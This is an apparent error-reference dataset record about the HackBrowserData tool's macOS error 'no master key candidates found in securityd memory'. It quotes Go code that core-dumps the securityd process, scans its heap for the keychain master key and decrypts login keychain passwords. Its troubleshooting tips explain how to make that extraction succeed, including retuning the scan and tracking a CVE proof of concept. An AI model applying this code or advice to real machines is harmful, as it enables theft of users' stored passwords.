{"record":{"id":"2b3f1667a57b24e6","repo":"moonD4rk/HackBrowserData","slug":"no-master-key-candidates-found-in-securityd-memory","errorCode":null,"errorMessage":"no master key candidates found in securityd memory","messagePattern":"no master key candidates found in securityd memory","errorType":"exception","errorClass":null,"httpStatus":null,"severity":"error","filePath":"masterkey/gcoredump_darwin.go","lineNumber":96,"sourceCode":"\tdefer os.Remove(corePath)\n\n\tcmd := exec.Command(\"gcore\", \"-d\", \"-s\", \"-v\", \"-o\", corePrefix, strconv.Itoa(pid))\n\tif err := cmd.Run(); err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to dump securityd memory: %w\", err)\n\t}\n\n\t// vmmap identifies MALLOC_SMALL heap regions where securityd stores keys\n\tregions, err := findMallocSmallRegions(pid)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to find malloc small regions: %w\", err)\n\t}\n\n\tcandidates, err := scanMasterKeyCandidates(corePath, regions)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"scan master key candidates: %w\", err)\n\t}\n\tif len(candidates) == 0 {\n\t\treturn nil, fmt.Errorf(\"no master key candidates found in securityd memory\")\n\t}\n\n\t// read keychain file once, reuse buffer for each candidate\n\tkeychainBuf, err := os.ReadFile(loginKeychainPath)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"read keychain: %w\", err)\n\t}\n\n\tfor _, candidate := range candidates {\n\t\tkc, err := keychainbreaker.Open(keychainbreaker.WithBytes(keychainBuf))\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\t\tif err := kc.Unlock(keychainbreaker.WithKey(candidate)); err != nil {\n\t\t\tcontinue\n\t\t}\n\n\t\trecords, err := kc.GenericPasswords()","sourceCodeStart":78,"sourceCodeEnd":114,"githubUrl":"https://github.com/moonD4rk/HackBrowserData/blob/0503d04d7a8d0379d060268a74f1b149e5a0aad5/masterkey/gcoredump_darwin.go#L78-L114","documentation":"scanMasterKeyCandidates completed but found zero 24-byte master key candidates in the MALLOC_SMALL regions of the securityd core dump. The scanner looks for the [0x18 length][pointer] pattern; none matched, so decryption is aborted rather than attempted with garbage keys.","triggerScenarios":"Calling DecryptKeychainRecords when: no MALLOC_SMALL regions existed (vmmap returned an empty list — error 53's sibling case), the master key layout differs on the running macOS version (offset/length changed), the key lives outside MALLOC_SMALL, or the keychain has never been unlocked so no key is resident in memory.","commonSituations":"Newer macOS versions changing securityd's key storage layout; dumping right after boot before the keychain was unlocked; the target user's keychain being iCloud-only or FileVault-managed differently; vmmap output format drift causing zero parsed regions.","solutions":["Unlock the login keychain first (log in via GUI or `security unlock-keychain`) so the master key is resident in securityd memory, then retry.","Manually inspect vmmap output for MALLOC_SMALL lines — if none, the region-parsing assumptions are broken on this macOS version.","Update the scan pattern (0x18 length + pointer heuristic) to match the current securityd layout for your macOS version; see the FFRI CVE-2025-24204 PoC for reference.","Check gcore produced a full dump (size vs securityd RSS via `ps -o rss=`) — a truncated dump may omit the region.","Consider the alternative keychain extraction path in this repo if gcore-based scanning is unsupported on the target OS build."],"exampleFix":null,"handlingStrategy":"fallback","validationCode":"out, _ := exec.Command(\"sudo\", \"vmmap\", \"--wide\", pid).Output()\nif !strings.Contains(string(out), \"MALLOC_SMALL\") {\n    return fmt.Errorf(\"no MALLOC_SMALL regions; scanning heuristic will fail\")\n}","typeGuard":null,"tryCatchPattern":"records, err := masterkey.DecryptKeychainRecords()\nif err != nil && strings.Contains(err.Error(), \"no master key candidates\") {\n    // fall back to another keychain extraction method or prompt user to unlock keychain and retry\n}","preventionTips":["Ensure the keychain is unlocked and used at least once before dumping.","Validate vmmap still reports MALLOC_SMALL regions on the target macOS version.","Update scan heuristics when the OS layout changes; track the CVE-2025-24204 PoC.","If the candidate count is 0, treat this as a region-scanning failure, not a key-mismatch."],"tags":["macos","memory-scan","heuristic","version-drift"],"backgroundTag":"empty-result-set","analyzedSha":"0503d04d7a8d0379d060268a74f1b149e5a0aad5","analyzedAt":"2026-09-06T13:38:28.707Z","contentChangedAt":"2026-09-06T13:38:28.707Z","schemaVersion":2},"datasetVersion":"2026-09-14T05:17:10.506Z"}